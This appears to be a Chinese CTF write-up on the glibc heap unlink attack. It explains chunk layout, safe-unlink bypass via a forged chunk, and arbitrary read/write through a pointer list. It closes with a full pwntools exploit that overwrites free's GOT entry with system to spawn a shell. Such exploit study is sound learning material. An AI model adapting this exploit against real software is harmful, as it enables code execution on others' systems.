参考文章:
关于heap overflow的一些笔记 by ETenal
[CTF]Heap vuln -- unlink by 0xmuhe
0x00 unlink宏
堆chunk的结构:
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize; };
其中size的低位1bit记录前一个堆块的使用情况。若使用中,则为1,同时presize为0暂时没什么用(??);若前一个堆块已经被释放掉为空闲,则为0,
同时presize记录前一个堆块的大小,用于从当前堆块计算前一个堆块的起始地址。
执行free(某个堆块P)时进行如下操作:
1).检查是否可以向后合并
首先需要检查 previous chunk 是否是空闲的(通过当前 chunk size 部分中的 flag 最低位去判断),在默认情况下,堆内存中的第一个chunk总是被设置为allocated的,即使它根本就不存在。
如果为free的话,那么就进行向后合并:
1)将前一个chunk占用的内存合并到当前chunk;
2)修改指向当前chunk的指针,改为指向前一个chunk。
3)使用unlink宏,将前一个free chunk从双向循环链表中移除。
前一个 chunk 是正在使用的,不满足向后合并的条件。
2).检查是否可以向前合并
在这里需要检查 next chunk 是否是空闲的(通过下下个 chunk 的flag的最低位去判断),在找下下个chunk(这里的下、包括下下都是相对于 chunk first 而言的)的过程中,首先当前 chunk+ 当前 size 可以引导到下个 chunk ,然后从下个 chunk 的开头加上下个 chunk 的 size 就可以引导到下下个 chunk 。
如果我们把下个 chunk 的 size 覆盖为了-4,那么它会认为下个 chunk 从 prev_size 开始就是下下个chunk了,既然已经找到了下下个 chunk ,那就就要去看看 size 的最低位以确定下个 chunk 是否在使用,当然这个 size 是 -4 ,所以它指示下个 chunk 是空闲的。
在这个时候,就要发生向前合并了。即 first chunk 会和 first chunk 的下个 chunk (即 second chunk )发生合并。在此时会触发 unlink(second) 宏,想将 second 从它所在的 bin list 中解引用。
unlink宏:
#define unlink(P, BK, FD) {
FD = P->fd; //FD = *P + 8;
BK = P->bk; // BK = *P + 12;
FD->bk = BK; // FD + 12 = BK;
BK->fd = FD; // BK + 8 = FD;
}
/* 能操控的就是FD,BK,要注意,FD+12和BK+8都要保证可写*/
0x01 绕过新glibc防护进行unlink利用
上述unlink方法已经被glibc遗弃很久了,现在的unlink使用了如下的检查机制
void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)
{
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr(check_action,"corrupted double-linked list",P);
else
{
FD->bk = BK;
BK->fd = FD;
}
}
在脱链表时会检查当前chunk是否真的在链表内,如果它前驱的后继不是自己或者后继的前驱不是自己,就直接抛错误。这使unlink利用变得十分困难(并非不可利用),很快人们就发现,如果找到一个指向P的指针,精心伪造一个chunk,使FD->bk和BK->fd=P,这可以通过unlink检查。在接下来的过程:
FD->bk=BK;
BK->fd=FD;
中这个指针将被FD覆盖。
考虑程序功能使用一个chunk_list来存储所有malloc申请到的内存。(显然这是很自然的做法,还有一种情况是先申请一个大的堆块作为chunk_list,这种情况需要先泄露出chunk_list的地址)
buffer1=malloc(64);
chunk_list[0]=buffer1;
在伪造chunk时,使P->fd=chunk_list-12,P->bk=chunk_list-8,这会使
FD->bk=chunk_list-12+12=chunk_list
BK->fd=chunk_list-8+8=chunk_list /*chunk_list指向buffer1
此时free(buffer2)会进行向后合并,执行unlink(buffer1),此时fd和bk都指向buffer1自己,通过检查。
最后的结果就是chunk_list[0]=chunk_list-12。
用户向申请到的堆块即向buffer1写入内容时,实际上是往*(chunk_list[0])里写,通过向
*(chunk_list[0])=*(chunk_list-12)写入数据12字节的junk,再写4字节将覆盖chunk_list[0],即chunk_list[0]可控
利用:
1)用户打印堆块的data内容,实际上是print *(chunk_list[0]),由于chunk_list[0]可控,可以实现任意地址读
2)用户向data中写入,实际上是向*(chunk_list[0])中写入,可以实现任意地址写
0x02 伪造chunk
例如,malloc两个大小为0x80的堆块:
chunk0=malloc(0x80)
chunk1=malloc(0x80)
堆块目前大致像这样:
一些细节:
1)malloc一块0x80大小的内存,返回给用户的指针实际上指向堆块的data位置,而在data前面还有presize和size两个4字节的内容,所以malloc(N)的实际的堆块大小应该为N+8。
2)malloc时总是8字节对齐的,所以size的低三位被用来作为标识位,最低位标识前一个堆块是否使用中,为0则空闲,为1则为使用中。所以size中的值为0x80+8+1。
3)prev_size是前一块chunk的大小,前提是前一块chunk状态是free,如果前一块还在被使用,这4个字节会被前一块chunk共享使用以提高空间使用率。所以此时chunk1的presize为0。
chunk0的data用户可以输入,如果没有检查长度输入可以覆盖到chunk1的presize和size。
chunk1的size被覆盖为0x88,低位为0,标识前一个堆块chunk0状态为free。
fake chunk0大小等于chunk0的data区,大小为0x80
chunk0的fd和bk是可控的。
这时free(chunk1),发生向后合并,执行宏unlink(chunk0),注意free()通过当前堆块chunk1的地址减去presize来寻址到前一个堆块chunk0,由于此时presize已经被我们构造成0x80,所以寻找前一个堆块时就会找到构造的fake chunk,从而执行unlink(fake chunk),剩下的步骤就按照栗子图下面的搞起~
0x03 一个pwn栗子
编辑内容的时候read造成了溢出。
首先新建三个堆块:
add(0x80)
add(0x80)
add(0x80)
构造fake chunk:
chunk_list=0x08049D60
payload=p32(0x0)+p32(0x81) #fake presize & fake size
payload+=p32(chunk_list-0xc) #fd
payload+=p32(chunk_list-0x8) #bk
payload+=0x70*'A' #paddings
payload+=p32(0x80)+p32(0x88)
edit(0,payload)
现在的堆结构:
chunk1的size低位为0发生向后合并
0x8442088通过-presize向前寻址刚好寻址到0x842008,即构造的fake chunk。
unlink(fake chunk)检查:
fd->bk = *(fd+0xc) = *0x8049d60 = 0x08442008
bk->fd = *(bk+0x8) = *0x8049d60 = 0x08442008
fd->bk = bk->fd = fake chunk
unlink(fake chunk)操作:
FD = fd;
BK = bk;
FD->bk = BK;
BK->fd = FD;
即:*(0x8049d60)=0x8049d54;
任意地址读:
edit(0,'A'*12+p32(chunk_list-0xc)+p32(addr))
相当于做了**(0x8049d60)=payload的操作,即往0x8049d54里写入长度为12的junk之后,再往0x8049d60里写入0x8049d54,往0x8049d64里写入p32(addr),紧接着show(1)打印addr的内容,即可完成任意地址读,可以通过DynELF查找system地址。
任意地址写:
edit(0,'A'*12+p32(elf.got['free']))
edit(0,p32(system_addr))
0x8049d54里写入长度为12的junk之后,继续就是往0x8049d60里写入free的got表地址,再次edit(0)就能够修改got表,把"/bin/sh"作为data写到一开始分配的第三个堆块里,作remove(2)就可以getshell。
附上exp:
from pwn import *
p=process('./heap')
chunk_list=0x08049D60
def leak(addr):
edit(0,'A'*12+p32(chunk_list-0xc)+p32(addr))
show(1)
result=p.recv(4)
print "%#x %s" %(addr,hex(u32(result)))
return result
def add(size):
p.recvuntil('5.Exit')
p.sendline('1')
p.recvuntil('Input the size of chunk you want to add:')
p.sendline(str(size))
def edit(index,data):
p.recvuntil('5.Exit')
p.sendline('2')
p.recvuntil('Set chunk index:')
p.sendline(str(index))
p.recvuntil('Set chunk data:')
p.sendline(data)
def remove(index):
p.recvuntil('5.Exit')
p.sendline('3')
p.recvuntil('Delete chunk index:')
p.sendline(str(index))
def show(index):
p.recvuntil('5.Exit')
p.sendline('4')
p.recvuntil('Print chunk index:')
p.sendline(str(index))
e=ELF('./heap')
add(0x80)
add(0x80)
add(0x80)
payload=p32(0x0)+p32(0x81) #fake presize & fake size
payload+=p32(chunk_list-0xc) #fd
payload+=p32(chunk_list-0x8) #bk
payload+=0x70*'A' #paddings
payload+=p32(0x80)+p32(0x88)
#gdb.attach(p,'b* 0x8048702')
edit(0,payload)
remove(1)
d=DynELF(leak,elf=e)
system_addr=d.lookup('system','libc')
print "system address: ",hex(system_addr)
edit(0,'A'*12+p32(e.got['free']))
edit(0,p32(system_addr))
edit(2,'/bin/sh')
remove(2)
p.interactive()